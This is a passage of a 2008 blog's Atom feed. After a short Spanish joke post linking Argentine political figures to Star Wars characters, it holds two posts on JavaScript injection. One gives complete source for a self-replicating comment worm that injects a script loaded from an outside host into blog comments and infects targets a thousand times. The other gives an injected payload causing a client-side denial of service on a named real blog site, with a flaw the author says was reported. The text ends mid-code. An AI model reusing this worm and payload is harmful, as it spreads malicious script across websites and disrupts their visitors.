desvirtuó su enfoque académico. Incluyo una imagen política, espero cómica, que refleja un poco mi postura frente al conflicto actual en la Argentina por la retenciones a las exportaciones agrícolas.&lt;br /&gt;&lt;br /&gt;Primero fue Benedicto XVI, se descubrió su alter-ego, el Emperador Palpatine.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_AzwtiowVPjI/SESxj1eWC2I/AAAAAAAAAAQ/oqAo57siM8o/s1600-h/emperor.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_AzwtiowVPjI/SESxj1eWC2I/AAAAAAAAAAQ/oqAo57siM8o/s200/emperor.jpg" alt="" id="BLOGGER_PHOTO_ID_5207482298355026786" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Ahora descubrimos que Luciano Miguens, presidente de la Sociedad Rural Argentina, es en realidad &lt;span style="font-style: italic;"&gt;Count Dooku&lt;/span&gt;&lt;span&gt;, otro personaje de la saga&lt;/span&gt;&lt;span style="font-style: italic;"&gt; Star Wars.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_AzwtiowVPjI/SESzKb2eRoI/AAAAAAAAAAo/E1dlLN_jLAQ/s1600-h/Miguens_VS_CountDooku2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_AzwtiowVPjI/SESzKb2eRoI/AAAAAAAAAAo/E1dlLN_jLAQ/s320/Miguens_VS_CountDooku2.png" alt="" id="BLOGGER_PHOTO_ID_5207484061003433602" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Para que no se enojen algunos amigos gorilas pongo también otro famoso descubrimiento, ya antiguo, por el cual nuestro ex-presidente no sería mas que otra reencarnación del cómico Tristán.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_AzwtiowVPjI/SEdi6Z3n-iI/AAAAAAAAAAw/nnUQr63vaO4/s1600-h/Kirchner_VS_Tristan.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_AzwtiowVPjI/SEdi6Z3n-iI/AAAAAAAAAAw/nnUQr63vaO4/s320/Kirchner_VS_Tristan.png" alt="" id="BLOGGER_PHOTO_ID_5208240249593395746" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-7184252606778534299?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/7184252606778534299/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2008/06/luciano-miguens-es-en-realidad-count.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7184252606778534299'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7184252606778534299'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2008/06/luciano-miguens-es-en-realidad-count.html' title='¿Luciano Miguens es en realidad Count Dooku, Tristan es Kirchner?'/><author><name>termo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_AzwtiowVPjI/SESxj1eWC2I/AAAAAAAAAAQ/oqAo57siM8o/s72-c/emperor.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-6491002646565622567</id><published>2008-04-21T18:43:00.000-07:00</published><updated>2008-12-14T02:01:10.823-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='weblogs'/><category scheme='http://www.blogger.com/atom/ns#' term='worm'/><title type='text'>Super Lamer Javascript Worm</title><content type='html'>In this case we will discuss how to build the most basic JavaScript Worm exploiting a JavaScript injection.&lt;br /&gt;&lt;br /&gt;First, you need to find a multi-user weblog system that is affected a JavaScript injection in the commentaries left by the visitors, we will call it &lt;span style="font-style: italic;"&gt;www.truchilog.com&lt;/span&gt;. For example, when the visitor is leaving his name maybe he can input:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background: rgb(0, 0, 0) none repeat scroll 0% 50%; color: rgb(209, 209, 209); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;/&lt;/span&gt;a&lt;span style="color: rgb(210, 205, 134);"&gt;&gt;&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;&amp;lt;&lt;/span&gt;script src&lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt;http&lt;span style="color: rgb(176, 96, 176);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;//badpage.googlepages.com/j.js&gt;&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;/&lt;/span&gt;script&lt;span style="color: rgb(210, 205, 134);"&gt;&gt;&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;&amp;lt;&lt;/span&gt;a&lt;span style="color: rgb(210, 205, 134);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Injecting a small JavaScript script that invokes another arbitrary long script hosted in a free service like &lt;span style="font-style: italic;"&gt;GooglePages&lt;/span&gt;. To use it's complete viral power the worm must infect new weblogs through new malformed commentaries on another weblogs.&lt;br /&gt;&lt;br /&gt;You must notice that in JavaScript to view the result of a HTTP request it must be sent from the same domain. In this basic worm, the new victims are retrieved from the home page of the weblog system, i.e. '&lt;span style="font-style: italic;"&gt;/'&lt;/span&gt;. The using a regular expressions we located in the home new weblogs or post in the system and proceed with a HTTP POST request to inject the viral payload into a comentary.&lt;br /&gt;&lt;br /&gt;In this &lt;span style="font-style: italic;"&gt;hypotetical&lt;/span&gt; example, the weblog posts detected has the form &lt;span style="font-style: italic;"&gt;'name.truchilog.com&lt;/span&gt;/post_number&lt;span style="font-style: italic;"&gt;'&lt;/span&gt;. The complete code in &lt;span style="font-style: italic;"&gt;j.js follows, notice that to be extra malicious the victims are infected 1000 times.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;pre style=""&gt;&lt;span style=""&gt;// generic function to start a http connection&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;// from JavaScript, is multibrowser&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;function&lt;/span&gt; init_conn&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt; &lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style=""&gt;var&lt;/span&gt; success &lt;span style=""&gt;=&lt;/span&gt; &lt;span style=""&gt;false&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style=""&gt;var&lt;/span&gt; xmlhttp&lt;span style=""&gt;;&lt;/span&gt; &lt;span style=""&gt;// Setup a variable.&lt;/span&gt;&lt;br /&gt;   &lt;span style=""&gt;try&lt;/span&gt; &lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style=""&gt;// This checks for alternate browsers&lt;/span&gt;&lt;br /&gt;   &lt;span style=""&gt;// such as Opera or Firefox&lt;/span&gt;&lt;br /&gt;       xmlhttp &lt;span style=""&gt;=&lt;/span&gt; &lt;span style=""&gt;new&lt;/span&gt; XMLHttpRequest&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;       success &lt;span style=""&gt;=&lt;/span&gt; &lt;span style=""&gt;true&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;           &lt;span style=""&gt;}&lt;/span&gt; &lt;span style=""&gt;catch&lt;/span&gt; &lt;span style=""&gt;(&lt;/span&gt;e&lt;span style=""&gt;)&lt;/span&gt; &lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style=""&gt;// Oops, not one of those. Try different&lt;/span&gt;&lt;br /&gt;   &lt;span style=""&gt;// IE implementations.&lt;/span&gt;&lt;br /&gt;       &lt;span style=""&gt;var&lt;/span&gt; XHR &lt;span style=""&gt;=&lt;/span&gt; &lt;span style=""&gt;new&lt;/span&gt; Array&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;'MSXML2.XMLHTTP.5.0'&lt;/span&gt;&lt;span style=""&gt;,&lt;/span&gt;&lt;br /&gt;                           &lt;span style=""&gt;'MSXML2.XMLHTTP.4.0'&lt;/span&gt;&lt;span style=""&gt;,&lt;/span&gt;&lt;br /&gt;                           &lt;span style=""&gt;'MSXML2.XMLHTTP.3.0'&lt;/span&gt;&lt;span style=""&gt;,&lt;/span&gt;&lt;br /&gt;                           &lt;span style=""&gt;'MSXML2.XMLHTTP'&lt;/span&gt;&lt;span style=""&gt;,&lt;/span&gt;&lt;br /&gt;                           &lt;span style=""&gt;'Microsoft.XMLHTTP'&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;       &lt;span style=""&gt;for&lt;/span&gt; &lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;var&lt;/span&gt; i&lt;span style=""&gt;=&lt;/span&gt;&lt;span style=""&gt;0&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;i &lt;span style=""&gt;&amp;lt;&lt;/span&gt; XHR&lt;span style=""&gt;.&lt;/span&gt;length &lt;span style=""&gt;&amp;amp;&amp;amp;&lt;/span&gt; !success&lt;span style=""&gt;;&lt;/span&gt; i&lt;span style=""&gt;++&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt; &lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt;           &lt;span style=""&gt;try&lt;/span&gt; &lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt;               xmlhttp &lt;span style=""&gt;=&lt;/span&gt; &lt;span style=""&gt;new&lt;/span&gt; ActiveXObject&lt;span style=""&gt;(&lt;/span&gt;XHR&lt;span style=""&gt;[&lt;/span&gt;i&lt;span style=""&gt;]&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;               success &lt;span style=""&gt;=&lt;/span&gt; &lt;span style=""&gt;true&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;                   &lt;span style=""&gt;}&lt;/span&gt; &lt;span style=""&gt;catch&lt;/span&gt; &lt;span style=""&gt;(&lt;/span&gt;e&lt;span style=""&gt;)&lt;/span&gt; &lt;span style=""&gt;{&lt;/span&gt;&lt;span style=""&gt;}&lt;/span&gt;&lt;br /&gt;       &lt;span style=""&gt;}&lt;/span&gt;&lt;br /&gt;       &lt;span style=""&gt;if&lt;/span&gt; &lt;span style=""&gt;(&lt;/span&gt;!success&lt;span style=""&gt;)&lt;/span&gt; &lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt;       &lt;span style=""&gt;// No XMLHttpRequest object? Is this 1990?&lt;/span&gt;&lt;br /&gt;           &lt;span style=""&gt;throw&lt;/span&gt; &lt;span style=""&gt;new&lt;/span&gt; Error&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;'No XHR object'&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;       &lt;span style=""&gt;}&lt;/span&gt;&lt;br /&gt;   &lt;span style=""&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   &lt;span style=""&gt;return&lt;/span&gt; xmlhttp&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt;function&lt;/span&gt; infect&lt;span style=""&gt;(&lt;/span&gt;text&lt;span style=""&gt;)&lt;/span&gt; &lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   &lt;span style=""&gt;// harvest the user and post_num from the last posts.&lt;/span&gt;&lt;br /&gt;   &lt;span style=""&gt;var&lt;/span&gt; regexp &lt;span style=""&gt;=&lt;/span&gt; &lt;span style=""&gt;new&lt;/span&gt; RegExp&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;'http://[a-z0-9_]+.truchilog.com/[0-9]+/'&lt;/span&gt;&lt;span style=""&gt;,&lt;/span&gt;&lt;span style=""&gt;'g'&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style=""&gt;var&lt;/span&gt; mymatch &lt;span style=""&gt;=&lt;/span&gt; text&lt;span style=""&gt;.&lt;/span&gt;&lt;span style=""&gt;match&lt;/span&gt;&lt;span style=""&gt;(&lt;/span&gt;regexp&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   &lt;span style=""&gt;for&lt;/span&gt; &lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;var&lt;/span&gt; i &lt;span style=""&gt;=&lt;/span&gt; &lt;span style=""&gt;0&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt; i &lt;span style=""&gt;&amp;lt;&lt;/span&gt; mymatch&lt;span style=""&gt;.&lt;/span&gt;length&lt;span style=""&gt;;&lt;/span&gt; i&lt;span style=""&gt;++&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt; &lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt;     &lt;br /&gt;       &lt;span style=""&gt;//     var mymatch = myregexp.exec(text);&lt;/span&gt;&lt;br /&gt;       chain &lt;span style=""&gt;=&lt;/span&gt; &lt;span style=""&gt;new&lt;/span&gt; String&lt;span style=""&gt;(&lt;/span&gt;mymatch&lt;span style=""&gt;[&lt;/span&gt;i&lt;span style=""&gt;]&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;       pieces &lt;span style=""&gt;=&lt;/span&gt; chain&lt;span style=""&gt;.&lt;/span&gt;&lt;span style=""&gt;split&lt;/span&gt; &lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;"/"&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt; &lt;span style=""&gt;// el separador es el espacio&lt;/span&gt;&lt;br /&gt;     &lt;br /&gt;       user &lt;span style=""&gt;=&lt;/span&gt; pieces&lt;span style=""&gt;[&lt;/span&gt;&lt;span style=""&gt;2&lt;/span&gt;&lt;span style=""&gt;]&lt;/span&gt;&lt;span style=""&gt;.&lt;/span&gt;&lt;span style=""&gt;split&lt;/span&gt;&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;"."&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;[&lt;/span&gt;&lt;span style=""&gt;0&lt;/span&gt;&lt;span style=""&gt;]&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;       post_num &lt;span style=""&gt;=&lt;/span&gt; pieces&lt;span style=""&gt;[&lt;/span&gt;&lt;span style=""&gt;3&lt;/span&gt;&lt;span style=""&gt;]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;       &lt;span style=""&gt;// inject the the small javascript in &lt;/span&gt;&lt;br /&gt;   &lt;span style=""&gt;//the post using the name and post_num collected&lt;/span&gt;&lt;br /&gt;         &lt;br /&gt;   &lt;span style=""&gt;// URI to send params to&lt;/span&gt;&lt;br /&gt;       &lt;span style=""&gt;var&lt;/span&gt; targetURI &lt;span style=""&gt;=&lt;/span&gt; &lt;span style=""&gt;"/commentaries.php?F="&lt;/span&gt;&lt;span style=""&gt;+&lt;/span&gt;user&lt;span style=""&gt;+&lt;/span&gt;&lt;span style=""&gt;"&amp;amp;P="&lt;/span&gt;&lt;span style=""&gt;+&lt;/span&gt;post_num&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;       &lt;span style=""&gt;var&lt;/span&gt; params &lt;span style=""&gt;=&lt;/span&gt; &lt;span style=""&gt;'Name=%3C%2Fa%3E%3Cscript+src%3Dhttp%3A%2F%2F'&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;   params &lt;span style=""&gt;+=&lt;/span&gt; &lt;span style=""&gt;'badpage.googlepages.com%2Fj.js%3E%3C%2Fscript%3E&amp;amp;'&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;   params &lt;span style=""&gt;+=&lt;/span&gt; &lt;span style=""&gt;'Commentary=Hello_your_blog_was_infected&amp;amp;EMail=&amp;amp;'&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;   params &lt;span style=""&gt;+=&lt;/span&gt; &lt;span style=""&gt;'URLPage=&amp;amp;x=65&amp;amp;y=4'&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;       xmlhttp &lt;span style=""&gt;=&lt;/span&gt; init_conn&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style=""&gt;//Open XHR and then set headers.&lt;/span&gt;&lt;br /&gt;       xmlhttp&lt;span style=""&gt;.&lt;/span&gt;open&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;"POST"&lt;/span&gt;&lt;span style=""&gt;,&lt;/span&gt; targetURI&lt;span style=""&gt;,&lt;/span&gt; &lt;span style=""&gt;true&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;       xmlhttp&lt;span style=""&gt;.&lt;/span&gt;setRequestHeader&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;"Content-type"&lt;/span&gt;&lt;span style=""&gt;,&lt;/span&gt;&lt;br /&gt;       &lt;span style=""&gt;"application/x-www-form-urlencoded"&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;       xmlhttp&lt;span style=""&gt;.&lt;/span&gt;setRequestHeader&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;"Content-length"&lt;/span&gt;&lt;span style=""&gt;,&lt;/span&gt; params&lt;span style=""&gt;.&lt;/span&gt;length&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;       xmlhttp&lt;span style=""&gt;.&lt;/span&gt;setRequestHeader&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;"Connection"&lt;/span&gt;&lt;span style=""&gt;,&lt;/span&gt; &lt;span style=""&gt;"close"&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style=""&gt;//Send the parameters to the target.    &lt;/span&gt;&lt;br /&gt;       xmlhttp&lt;span style=""&gt;.&lt;/span&gt;send&lt;span style=""&gt;(&lt;/span&gt;params&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style=""&gt;}&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;&lt;span style=""&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt;// search for the last posts.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt;function&lt;/span&gt; p&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style=""&gt;if&lt;/span&gt;&lt;span style=""&gt;(&lt;/span&gt;R&lt;span style=""&gt;.&lt;/span&gt;readyState&lt;span style=""&gt;==&lt;/span&gt;&lt;span style=""&gt;4&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;br /&gt;       &lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt;           &lt;span style=""&gt;var&lt;/span&gt; text &lt;span style=""&gt;=&lt;/span&gt; R&lt;span style=""&gt;.&lt;/span&gt;responseText&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;       &lt;span style=""&gt;// Setup a variable.&lt;/span&gt;&lt;br /&gt;           &lt;span style=""&gt;var&lt;/span&gt; xmlhttp&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;           &lt;span style=""&gt;// infect many times&lt;/span&gt;&lt;br /&gt;       &lt;span style=""&gt;for&lt;/span&gt;&lt;span style=""&gt;(&lt;/span&gt;i&lt;span style=""&gt;=&lt;/span&gt;&lt;span style=""&gt;0&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt; i &lt;span style=""&gt;&amp;lt;&lt;/span&gt; &lt;span style=""&gt;1000&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt; i&lt;span style=""&gt;++&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt; &lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt;           infect&lt;span style=""&gt;(&lt;/span&gt;text&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;       &lt;span style=""&gt;}&lt;/span&gt;&lt;br /&gt;       &lt;span style=""&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt;// start infection.&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;var&lt;/span&gt; R&lt;span style=""&gt;=&lt;/span&gt; init_conn&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;R&lt;span style=""&gt;.&lt;/span&gt;onreadystatechange&lt;span style=""&gt;=&lt;/span&gt;p&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;R&lt;span style=""&gt;.&lt;/span&gt;open&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;'GET'&lt;/span&gt;&lt;span style=""&gt;,&lt;/span&gt;&lt;span style=""&gt;'/lastPosts.php'&lt;/span&gt;&lt;span style=""&gt;,&lt;/span&gt;&lt;span style=""&gt;true&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;R&lt;span style=""&gt;.&lt;/span&gt;send&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;null&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-6491002646565622567?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/6491002646565622567/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2008/04/super-lamer-javascript-worm.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/6491002646565622567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/6491002646565622567'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2008/04/super-lamer-javascript-worm.html' title='Super Lamer Javascript Worm'/><author><name>termo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-3809508086604373499</id><published>2008-04-16T09:53:00.000-07:00</published><updated>2008-12-14T02:01:10.824-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='DoS'/><category scheme='http://www.blogger.com/atom/ns#' term='worm'/><category scheme='http://www.blogger.com/atom/ns#' term='obolog'/><title type='text'>Super Lamer JavaScript Bomb</title><content type='html'>Esto no es muy avanzado, pero como no se mucho de programacion web y de cosas dinámicas como AJAX, me sirvió para aprender un poco más.&lt;br /&gt;&lt;br /&gt;La idea es las páginas web pueden contener código JavaScript que haga &lt;span style="font-style: italic;"&gt;requests HTTP&lt;/span&gt; dentro del mismo dominio web de la página y &lt;span style="font-style: italic;"&gt;requests HTTP&lt;/span&gt; fuera del dominio pero sin ver el resultado. Entonces si alguna página web no filtra bien el contenido que deja poner y te permite inyectar JavaScript entonces podes hacer las cosas que hace la página web cuando alguién la accede. Un ejemplo famoso y descontrolado de esto fue el &lt;a href="http://namb.la/popular/tech.html"&gt;Worm de MySpace "samy is my hero"&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Este tipo de inyecciones son conocidas como Cross Site Scripting cuando se realizan&lt;span style="font-style: italic;"&gt; requests HTTP &lt;/span&gt;para robar información de usuarios de un dominio y mandarla a otro.&lt;br /&gt;&lt;br /&gt;Dependiendo del caso se pueden hacer pocas cosas o muchas y generalmente hay restricciones de espacio y de cosas dadas por el dominio cambios en el dominio (www.foo.com en vez de foo.com), no se puede leer información de otros dominios, sí enviar.&lt;br /&gt;&lt;br /&gt;En mi caso particular encontré una inyección de JavaScript en un sitio web de blogs, llamado &lt;a href="http://www.obolog.com/"&gt;Obolog&lt;/a&gt;. Mi idea era ver si es posible hacer un worm que no use informacion de usuario logueados, sino que replique solamente usando los comentarios de los blogs. Como solamente se pueden inyectar 256 carácteres lo único que pude hacer es un GET e imprimirlo para lograr un comentario anónimo persistente que hace que la página se autoreplique en el browser. es decir  DoS (&lt;span style="font-style: italic;"&gt;denial of service&lt;/span&gt;) del cliente. Esta falla ya fue reportada, con suerte será reparada en breve.&lt;br /&gt;&lt;br /&gt;Si uno quiere meter esta mini-bomba JavaScript en un comentario de &lt;span style="font-style: italic;"&gt;pablito.obolog.com/nombre-del-post-34543534&lt;/span&gt; hay que meter en la parte del GET del siguiente código (compactado para que ocupe menos espacio) precedido por comillas dobles " para escapar del campo:&lt;br /&gt;&lt;br /&gt;&lt;pre style=""&gt;&lt;span style=""&gt;&amp;lt;&lt;/span&gt;script&lt;span style=""&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;function&lt;/span&gt; p&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;if&lt;/span&gt;&lt;span style=""&gt;(&lt;/span&gt;R&lt;span style=""&gt;.&lt;/span&gt;readyState&lt;span style=""&gt;==&lt;/span&gt;&lt;span style=""&gt;4&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt;    &lt;span style=""&gt;for&lt;/span&gt;&lt;span style=""&gt;(&lt;/span&gt;i&lt;span style=""&gt;=&lt;/span&gt;&lt;span style=""&gt;0&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;i&lt;span style=""&gt;&amp;lt;&lt;/span&gt;&lt;span style=""&gt;2&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;i&lt;span style=""&gt;++&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;br /&gt;        document&lt;span style=""&gt;.&lt;/span&gt;write&lt;span style=""&gt;(&lt;/span&gt;R&lt;span style=""&gt;.&lt;/span&gt;responseText&lt;span style=""&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;var&lt;/span&gt; R&lt;span style=""&gt;=&lt;/span&gt;&lt;span style=""&gt;new&lt;/span&gt; XMLHttpRequest&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;R&lt;span style=""&gt;.&lt;/span&gt;onreadystatechange&lt;span style=""&gt;=&lt;/span&gt;p&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;R&lt;span style=""&gt;.&lt;/span&gt;open&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;'GET'&lt;/span&gt;&lt;span style=""&gt;,&lt;/span&gt;&lt;span style=""&gt;'/nombre-del-post-34543534'&lt;/span&gt;&lt;span style=""&gt;,&lt;/span&gt;&lt;span style=""&gt;true&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;R&lt;span 